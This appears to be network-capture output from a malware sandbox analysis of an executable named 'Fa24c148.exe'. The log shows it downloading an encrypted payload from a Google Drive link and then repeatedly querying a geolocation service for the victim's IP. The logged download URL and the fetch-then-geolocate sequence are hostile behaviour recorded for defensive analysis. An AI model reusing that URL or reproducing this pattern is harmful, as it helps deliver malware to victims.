Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	142.250.186.65	443	1440	C:\Users\user\Desktop\Fa24c148.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 11:22:29 UTC	258	OUT	GET /download?id=1BxjUpVo1l3Tc98y3lq5MzBCE4rW1Evm6&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-10-28 11:22:31 UTC	4917	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="RJvGhLEx125.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 275520 Last-Modified: Sun, 27 Oct 2024 21:04:17 GMT X-GUploader-UploadID: AHmUCY2my2hW6vQEgvUZF1nObheGCP9DibUFW4wfZcBp9IQFlKDV_qHjc2sE5BGyiTNUDQApV6VADaNRgA Date: Mon, 28 Oct 2024 11:22:31 GMT Expires: Mon, 28 Oct 2024 11:22:31 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=CojfBQ== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-28 11:22:31 UTC	4917	IN	Data Raw: d8 d7 11 22 bc 6a 66 62 06 37 45 40 80 d6 17 2e bd b3 66 d1 7a db 17 8e 81 fe 56 0e f3 11 0b 50 0a cb 56 29 11 dc 42 ba a4 7e 42 b0 8e ab 94 1d 8f 36 b9 a5 07 d2 1c 20 8a 88 e2 3b 0f dd 50 d9 4d 52 c0 63 51 9c 25 22 7b 40 d6 f2 6e a0 b0 12 6e 3a 76 64 88 8c 81 96 bf 58 af ea 01 b4 d9 0c c1 96 09 a5 cf d0 c9 70 3e fc 4e d3 40 39 ea 9b 56 c7 5b 86 91 32 32 28 c8 86 1d 88 5a 55 cc d6 34 97 0d 1d bc 67 cc 26 85 2b 6e 75 fc c2 3d 34 c4 b4 95 b0 90 dc 0c 81 75 ba 6e 19 6a 13 c1 9f 93 4e 30 3c 9e d1 62 5f e8 c7 f6 a0 5a 8c 2f 15 7b dd 0e 08 d8 c3 17 a4 0a 04 38 80 5d 68 e4 7e 40 e5 3d 0a 97 29 00 48 66 fc 52 ac 5c 09 6f d6 d9 5c a9 28 80 a8 a4 19 80 47 a8 d6 29 86 fe d6 0a 55 d9 a5 a6 0c 47 43 10 74 76 79 e9 d9 e7 3d 4a 69 92 44 2c aa e6 4c 70 95 5a 18 b7 c8 52 Data Ascii: "jfb7E@.fzVPV)B~B6 ;PMRcQ%"{@nn:vdXp>N@9V[22(ZU4g&+nu=4unjN0<b_Z/{8]h~@=)HfR\o\(G)UGCtvy=JiD,LpZR
2024-10-28 11:22:32 UTC	4865	IN	Data Raw: 8b 47 63 53 5d 47 11 b7 14 dd ab ac 53 98 f6 00 89 65 a1 53 ad 12 5a 90 49 47 65 80 bb 8e 0e e8 9e dd d7 da 5d 24 c5 df de 42 37 b4 a8 93 e4 9b 18 17 7a 07 88 15 bd 3f 86 14 94 37 09 dd 6a af 14 f5 c5 da 54 8a 29 f8 74 b5 1d 1a cc 56 43 2a 8c bf 1a ad 6c b5 ef e2 2e 7d 30 76 d9 7b c4 fe 7c 44 5b 53 5b 1d 96 46 1e 10 19 d8 45 17 88 f2 21 3f 0f ca 49 e9 54 74 4a b2 2f 29 84 ae 54 6a 12 02 34 a4 5f 6e f3 3a c2 b2 8c 89 e7 c6 0b 10 2b 19 ce eb 83 e1 b0 0b 10 35 55 1b 0e fa 73 0f c1 d6 2b ea 3b bd 6a cd 10 50 e8 36 71 5e ae a8 df 4f a3 ae c4 19 24 8a de 87 bf 01 4b 8b 0c 77 56 f7 59 25 15 fd b5 78 ce 82 4f 7d 81 15 46 73 4d d9 eb 95 7c 33 c3 8f 32 0b 27 3d da 85 e5 af 99 c9 05 0e a0 f1 ea e6 8f 97 17 fd 89 c4 a9 a9 be 6c e8 86 27 0b e5 88 f7 18 34 98 1e 64 4b Data Ascii: GcS]GSeSZIGe]$B7z?7jT)tVC*l.}0v{\|D[S[FE!?ITtJ/)Tj4_n:+5Us+;jP6q^O$KwVY%xO}FsM\|32'=l'4dK
2024-10-28 11:22:32 UTC	1323	IN	Data Raw: de 93 1c 72 14 b6 6f f2 f5 2b f3 91 a2 94 85 96 0f 24 f3 6d f9 a2 9c fd d1 e5 2e a1 22 46 d4 6f 08 0a 56 c8 5a ed e2 04 31 26 48 04 40 ac 08 b6 65 f3 e2 ad 21 55 f0 8b 8d 2f 65 30 6f a0 2a ab 7e 45 e0 0d 91 6f ab 57 a3 8e 3b a3 a1 a8 d1 eb 5c 39 80 32 88 0c 84 72 0d e7 ee 96 c2 7e e8 9a 53 33 28 99 bd 7e 80 c0 09 40 4a 09 5f f4 3d fe ed 98 44 fa 23 2b b4 89 d4 c3 15 49 b2 fa 94 c3 cf 06 ef 4b a0 80 08 8d dc 22 f1 eb 8e 76 65 f1 be 8e 88 1f 09 34 e1 01 e2 91 01 4a 1a 9e 49 37 5b c8 16 04 63 8d 70 c5 bf db b3 36 00 4d 02 8b 7f c8 4f ca 0d ed a7 9f 66 48 1e 76 37 3b 49 89 63 cd 68 d9 6e 16 74 f1 13 7c 48 09 d8 54 0a 6d 92 ac 17 ff 6b 66 88 84 d1 41 61 06 5b f2 6e f2 9a a1 b1 64 8e cb b5 19 9d 2d 01 67 1a 5a 33 06 3a 8c 49 55 a5 8b 70 16 fb 0c 48 14 a1 b7 c0 Data Ascii: ro+$m."FoVZ1&H@e!U/e0o*~EoW;\92r~S3(~@J_=D#+IK"ve4JI7[cp6MOfHv7;Ichnt\|HTmkfAa[nd-gZ3:IUpH
2024-10-28 11:22:32 UTC	1378	IN	Data Raw: cb 60 00 a0 55 21 3f 14 68 6c d9 45 21 45 b8 54 8c 89 ed 2a 52 18 01 5f 5a 7a 74 8b 2c a9 b2 fc 21 c2 da 6a 2a a6 46 ca 49 a7 92 a7 8c 1f 3f 25 be 21 e0 15 0f cb b3 70 85 5c b7 79 e6 64 b5 a8 36 7b 53 8b cd c4 ae b1 a4 a7 bf 01 8c f2 3b a8 72 2b 29 29 65 37 a7 56 34 60 2c fb 61 b0 b0 5c 7b 94 b1 61 06 53 e8 e8 9f 0c 4f e5 fa 23 0d 01 26 e9 95 a2 d8 99 c9 05 0e 5c e0 e2 89 e2 bf 60 f7 84 10 a7 a9 d1 56 c4 8e 32 1f ab fb f8 0b 3e e8 bc a5 45 55 a9 a7 9d 09 36 9f 8c 3c 95 59 89 5e bd b0 61 d0 32 97 36 91 01 4c 9e 72 b1 43 dc 70 63 5f 78 bc 89 a5 13 15 e5 71 c4 2f 71 82 87 76 30 01 43 9a 1b a5 ad 52 07 e6 24 a0 d9 aa a0 3f 80 f0 57 9c 1f 86 87 f7 32 1c 45 f4 4b 38 e8 75 50 b1 44 37 fd 94 66 13 4a 6c 19 03 08 d5 d2 05 1e 40 ba 9d 6e f9 23 3a 9a e4 cf dc 4c 81 Data Ascii: `U!?hlE!ETR_Zzt,!jFI?%!p\yd6{S;r+))e7V4`,a\{aSO#&\`V2>EU6<Y^a26LrCpc_xq/qv0CR$?W2EK8uPD7fJl@n#:L
2024-10-28 11:22:32 UTC	1378	IN	Data Raw: 3b dc 01 f8 3b e0 0f 26 df ee 17 05 2c 1e 78 2d 64 89 02 0d ec 45 fc 9f 5d aa cb c4 64 3d 1d 21 f0 1a 8e 8e bc 0d 44 52 d4 2f da a8 d8 2c 96 10 07 8f 9b 5c 36 80 50 2f 30 dc bb 12 cb c8 10 9f b8 8a bb 57 61 11 fe 7a d5 51 6e 78 45 91 a0 97 2d 46 d8 d4 38 ec 0e b8 dc 69 20 18 71 d6 1c 23 04 d2 01 1a c8 c0 b6 23 11 56 0d 87 b8 c7 0f d2 52 b3 e5 c1 00 9e 1c 6c 30 9b ac 7f bd ec 9f 24 9a ef ab 3d a7 bc b4 b9 5d 37 f9 67 d1 b2 b3 4d 4c 0d 47 42 4b 5f d1 6c de 42 4c 85 e3 6f 29 d0 90 63 74 04 db d2 43 1d 08 01 7e 95 48 e1 f8 bc bf c0 06 a1 54 ed 8b b8 e0 29 80 73 ea 56 9a 45 33 24 9f 36 18 be c2 80 e2 e9 4d 3f eb 6a 09 dc b0 19 d3 0c 57 c9 e4 36 41 e2 5a 19 b9 e3 4f fc 03 a6 d9 e3 fc 67 30 4a ea 70 cf d1 b1 82 03 0e 64 4e 1d 74 64 ee 01 73 f5 5f a1 37 b8 6d de Data Ascii: ;;&,x-dE]d=!DR/,\6P/0WazQnxE-F8i q##VRl0$=]7gMLGBK_lBLo)ctC~HT)sVE3$6M?jW6AZOg0JpdNtds_7m
2024-10-28 11:22:32 UTC	1378	IN	Data Raw: d3 36 a7 df 82 d6 6f 28 74 79 d9 5a 97 8c 65 21 22 57 fc 68 2d 02 c4 35 e4 1c dc 24 7a 60 8c b4 15 72 ce 6c aa 38 6c da 7f e0 0d e9 2f 6b 57 a7 f6 86 60 a1 d8 cd c3 ae fb 80 38 94 e1 8d 68 02 a0 f0 97 c2 7a 8f 89 06 33 22 f7 51 53 80 ca 03 23 5b 76 9a 84 2a 79 90 a5 44 fb 02 52 0c cd d4 c9 11 70 be 88 13 d5 a0 cf c7 ff aa f2 17 ea 41 42 d9 c0 a6 2d 6f 8f ff e1 4f 1b 21 74 e1 10 e0 f2 93 0a 1a 9a 60 58 4d ba 27 a9 77 e9 c6 c8 12 f3 07 3c 74 c4 a0 ae 66 b6 1a cd 7f ca 15 ba 0f 59 9d 76 37 35 eb a4 07 fd 11 d6 6a 18 95 d4 08 06 11 b5 d8 50 a2 27 33 de 90 fa 6b 3e 70 ac a4 4b 7c 81 74 3a 6e f3 b5 b7 bd 51 9b cb c1 c8 71 3a 29 d9 09 53 47 95 1f 94 3f 72 3f 89 00 c4 c8 3d b7 2c a1 bd d2 89 36 ab e5 04 5a 2c 87 67 5a a0 91 7a 0b 90 28 8b 1b 37 f3 35 f8 4d 2f cc Data Ascii: 6o(tyZe!"Wh-5$z`rl8l/kW`8hz3"QS#[v*yDRpAB-oO!t`XM'w<tfYv75jP'3k>pK\|t:nQq:)SG?r?=,6Z,gZz(75M/
2024-10-28 11:22:32 UTC	1378	IN	Data Raw: 69 30 90 63 04 45 f2 53 27 0a 9f c4 0b 67 88 5c 71 83 0f 55 00 4e a2 eb 9f 76 fe d0 9e 3f 62 a0 35 cb 89 8a bf 83 a6 a5 0e 7c ea ee 98 f9 f8 cc f7 84 10 a7 a9 97 aa c4 8e 36 0e 8a 9f df 6e 3e 98 c8 ba 65 55 a1 8f d4 21 41 95 9d 14 eb 05 04 1e b9 98 5e f5 24 e3 a2 44 11 19 9e 07 b1 43 d0 c1 65 48 2e 9b 89 a5 1d 69 c0 69 b6 f6 1e b5 f7 5e 74 73 d6 9e b9 f0 a2 04 c0 e6 24 ae 6d 71 bb 5e a1 f3 73 c0 e1 be 11 ac bf 5c 44 d1 5c 6f c5 08 d7 d1 e6 62 48 99 c5 3b fe 66 bb 2c b2 82 9f 78 61 25 18 c8 d5 a2 02 12 2e e0 6d f3 f4 d6 23 76 4f 0e 94 8e 5f a1 f9 e5 4b 98 d6 47 04 65 45 ea 31 9a df 97 f1 44 0e 1d c5 b8 37 99 4a f6 b4 0b e3 87 b5 13 f0 e9 b8 33 c8 e5 72 76 e6 5d 2c 11 52 6b 5e 6e d7 8f 09 eb b0 c8 1a 31 dd 9a 61 55 ff a6 f9 e8 f1 85 6b a9 27 30 99 cd 0e 83 Data Ascii: i0cES'g\qUNv?b5\|6n>eU!A^$DCeH.ii^ts$mq^s\D\obH;f,xa%.m#vO_KGeE1D7J3rv],Rk^n1aUk'0
2024-10-28 11:22:32 UTC	1378	IN	Data Raw: 36 c1 a0 b7 7b 5e 1f b0 c1 06 ea 1f 1e 63 1c 23 25 d4 08 03 d6 de 57 80 7e 08 07 87 b2 d6 0e c3 c6 b3 e5 cf 28 8b 10 6c 33 d8 67 76 d2 e7 9f 35 98 91 4d e3 b4 9d e2 b6 5d 37 f7 07 69 b2 9b 25 23 c0 4d 9f 22 59 c0 64 cf 44 23 35 d1 6f 23 d4 f3 f0 19 cb ab c4 61 9c 20 65 74 83 b0 e0 35 a9 8b ed 0b 6b 56 e7 98 cc cf 01 e2 77 98 3d 54 45 43 32 b7 c9 2d be c8 92 6e 7d 5c 39 8a 7a 18 6d b1 19 d9 1a bd 36 f1 00 50 e9 65 a1 78 e3 4f 88 00 67 d9 e7 de 8c 43 88 e0 63 c9 bc 80 93 04 74 2c 51 0c 70 67 3b 29 f2 ff 30 6f 21 46 66 cd ed 07 a0 8a 81 a0 0d 7c d2 a5 52 8d c1 4e ed 68 08 fd 71 a7 de 2d 6c a9 a1 ab a4 80 38 1a 89 7d 18 17 a1 4f 6b 71 51 2d c0 4b 68 4e a5 12 6c c8 ab 5e e6 cb b7 78 91 09 d3 3b 81 03 7f a9 c4 e1 63 cf 91 5c 77 e8 ad 64 0a cb da 3f cd d9 a0 4c Data Ascii: 6{^c#%W~(l3gv5M]7i%#M"YdD#5o#a et5kVw=TEC2-n}\9zm6PexOgCct,Qpg;)0o!Ff\|RNhq-l8}OkqQ-KhNl^x;c\wd?L
2024-10-28 11:22:32 UTC	1378	IN	Data Raw: 9f 42 66 9a dc 67 f4 93 af 59 77 67 44 72 88 f1 df 67 71 ac 88 63 71 ea 61 ef 4b a0 80 08 5d 64 2a 83 ce a9 2d 15 53 91 f8 31 27 09 3e e5 b2 cf 96 fe 3b 19 9e 38 b0 68 a1 53 2b 63 fd d6 42 8d ef 75 03 16 47 d0 0c 4f cf 1a c5 07 f2 59 ba 7f 3c 35 54 2c b2 ab ac 79 be 34 c0 1c 21 c1 d4 78 a0 47 1e f0 e4 a8 48 84 7c b5 e8 19 43 25 ac d4 e3 44 15 4a 02 6e f2 94 03 ea 42 fc fa b2 6a 24 8f 29 18 09 53 47 24 19 9a 65 51 30 89 7a 66 cd 24 c5 14 a1 95 a1 2b 13 bb 97 7d 2b 13 f7 c5 7b aa cd 14 6c 87 2c 94 8b 28 f3 3f 5e 40 7a be d7 48 91 88 dd 51 7f 35 37 a6 ef 02 51 98 d7 58 01 55 17 91 f3 23 31 c2 0e dc 0e d3 b6 df 60 42 73 d0 06 38 ef 4c f7 a5 6f 3b e5 31 e1 09 c4 0d db 02 b1 18 f7 09 7f 3c b0 fd 2a 61 3b 7c 6d 42 75 aa b6 9e 59 54 66 71 67 41 3e b2 20 74 15 3f Data Ascii: BfgYwgDrgqcqaK]d-S1'>;8hS+cBuGOY<5T,y4!xGH\|C%DJnBj$)SG$eQ0zf$+}+{l,(?^@zHQ57QXU#1`Bs8Lo;1<a;\|mBuYTfqgA> t?
2024-10-28 11:22:32 UTC	1378	IN	Data Raw: 54 a8 88 2d 39 24 91 46 31 0e 69 b6 42 99 0a d6 63 4a 2d 59 cf 89 d5 6a 19 e5 71 ce 40 dc b5 87 7c 34 0d ea 98 1b d1 c8 b3 86 e6 2e b9 de 2a 90 2c a4 e5 01 25 41 9b 7a a1 1a 9d 44 d1 57 5c 2d 7b 43 d3 f7 00 c6 b0 c3 02 5d 09 71 26 10 ad 87 0a 35 3b 18 a9 66 91 74 f0 9a e0 67 f9 56 e2 28 7a 10 1c 94 fa d5 42 8c e5 41 fd b8 6f 71 6f 45 f1 33 fa 97 50 e4 40 00 58 da b8 33 ee de bf b4 01 86 38 00 01 fa 99 81 60 d9 e9 1b a9 f8 4c 32 39 07 67 31 a7 d7 52 82 ea 6e d8 1a 31 dd 9a 61 55 ff aa f9 e8 f1 85 6b a9 27 30 99 cd 0e 83 b0 44 d5 7d 91 cc 14 f6 51 42 14 23 62 24 ea 8b be 4a 75 4b 18 59 92 b4 66 a7 04 b4 59 42 8f ea 7c e8 25 eb 90 e1 a0 98 20 e7 bf 36 23 e5 ca dc 97 ca 30 bc 82 81 d9 5a 6f 65 62 a1 65 67 20 30 f9 83 93 4e 5b 40 c1 bc 6a ce a4 3d 49 63 4a 2f Data Ascii: T-9$F1iBcJ-Yjq@\|4.*,%AzDW\-{C]q&5;ftgV(zBAoqoE3P@X38`L29g1Rn1aUk'0D}QB#b$JuKYfYB\|% 6#0Zoebeg 0N[@j=IcJ/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49739	188.114.97.3	443	1440	C:\Users\user\Desktop\Fa24c148.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 11:22:36 UTC	87	OUT	GET /xml/155.94.241.188 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-28 11:22:36 UTC	888	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 11:22:36 GMT Content-Type: text/xml Content-Length: 358 Connection: close apigw-requestid: AVhc-iOyPHcEJSw= Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 37187 Last-Modified: Mon, 28 Oct 2024 01:02:49 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a9YXNfPZRvaOQs9KRFdcga0f%2B2IP1O%2B3z9margCie3V%2FzbXYXhF8AZtW8hAOpxlyq8UdoJXY2bA8Fpr22s5gvC%2FYLuRWJazUYwf64%2FIRD804qXcuQMxUMIFGXLvBrqjqwYo1F%2FAw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9a8c888e216b2c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1122&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2524847&cwnd=251&unsent_bytes=0&cid=49c0b130e4527081&ts=264&x=0"
2024-10-28 11:22:36 UTC	358	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a Data Ascii: <Response><IP>155.94.241.188</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49740	188.114.97.3	443	1440	C:\Users\user\Desktop\Fa24c148.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 11:22:37 UTC	63	OUT	GET /xml/155.94.241.188 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-28 11:22:37 UTC	881	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 11:22:37 GMT Content-Type: text/xml Content-Length: 358 Connection: close apigw-requestid: AVhc-iOyPHcEJSw= Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 37188 Last-Modified: Mon, 28 Oct 2024 01:02:49 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=o1M9fXG%2F6lVa5TTRDb0latHkHuPSJosvyv5yd1%2BFpWqTNmYyK2i2OZcoJLeSgkJXWZkS09vGBeCCAq6epVadDaDR1LPLFqEEOg39jsbx9Mp1xbc8uuaCjt%2B0BlOcTAPkjItOuSUO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9a8c901fc4473e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=956&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2811650&cwnd=251&unsent_bytes=0&cid=d6119aee547b4382&ts=147&x=0"
2024-10-28 11:22:37 UTC	358	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a Data Ascii: <Response><IP>155.94.241.188</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49742	188.114.97.3	443	1440	C:\Users\user\Desktop\Fa24c148.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 11:22:39 UTC	87	OUT	GET /xml/155.94.241.188 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-28 11:22:39 UTC	886	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 11:22:39 GMT Content-Type: text/xml Content-Length: 358 Connection: close apigw-requestid: AVhc-iOyPHcEJSw= Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 37190 Last-Modified: Mon, 28 Oct 2024 01:02:49 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mgA3zLx2%2BBG0it7w6RtP8Xo99Yjfy3z2Y1N0s61ObtCaxaW8c6vBPU772m4fH%2BB64VajDq2GJ4lJGr5uFXHmEVXOfbS8aw8rJg%2BxdGO1%2F%2BvOSOM7WFUjWSUtOVZBtGWjx53Oh1ej"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9a8c9a5a7e2851-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1369&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=701&delivery_rate=2078966&cwnd=251&unsent_bytes=0&cid=2990fefa9f65b490&ts=146&x=0"
2024-10-28 11:22:39 UTC	358	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a Data Ascii: <Response><IP>155.94.241.188</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49744	188.114.97.3	443	1440	C:\Users\user\Desktop\Fa24c148.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 11:22:40 UTC	87	OUT	GET /xml/155.94.241.188 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-28 11:22:41 UTC	886	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 11:22:41 GMT Content-Type: text/xml Content-Length: 358 Connection: close apigw-requestid: AVhc-iOyPHcEJSw= Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 37192 Last-Modified: Mon, 28 Oct 2024 01:02:49 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wM%2BEu2T6YRBQkuspPAsuRfSF4Td1duwr2XOOvS40jYe3hBmciXIyrLnGOynDcUQDzYtrc6hyJQ%2BybOrsGg9Vzn%2FdoF0YFTCiTYuW4ua8BIGYKvKPuMaho7J7YlXy%2BbtOdO7Y%2BZ0P"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9a8ca63e036bdd-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1168&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2450084&cwnd=251&unsent_bytes=0&cid=ab574f16bad97cd2&ts=367&x=0"
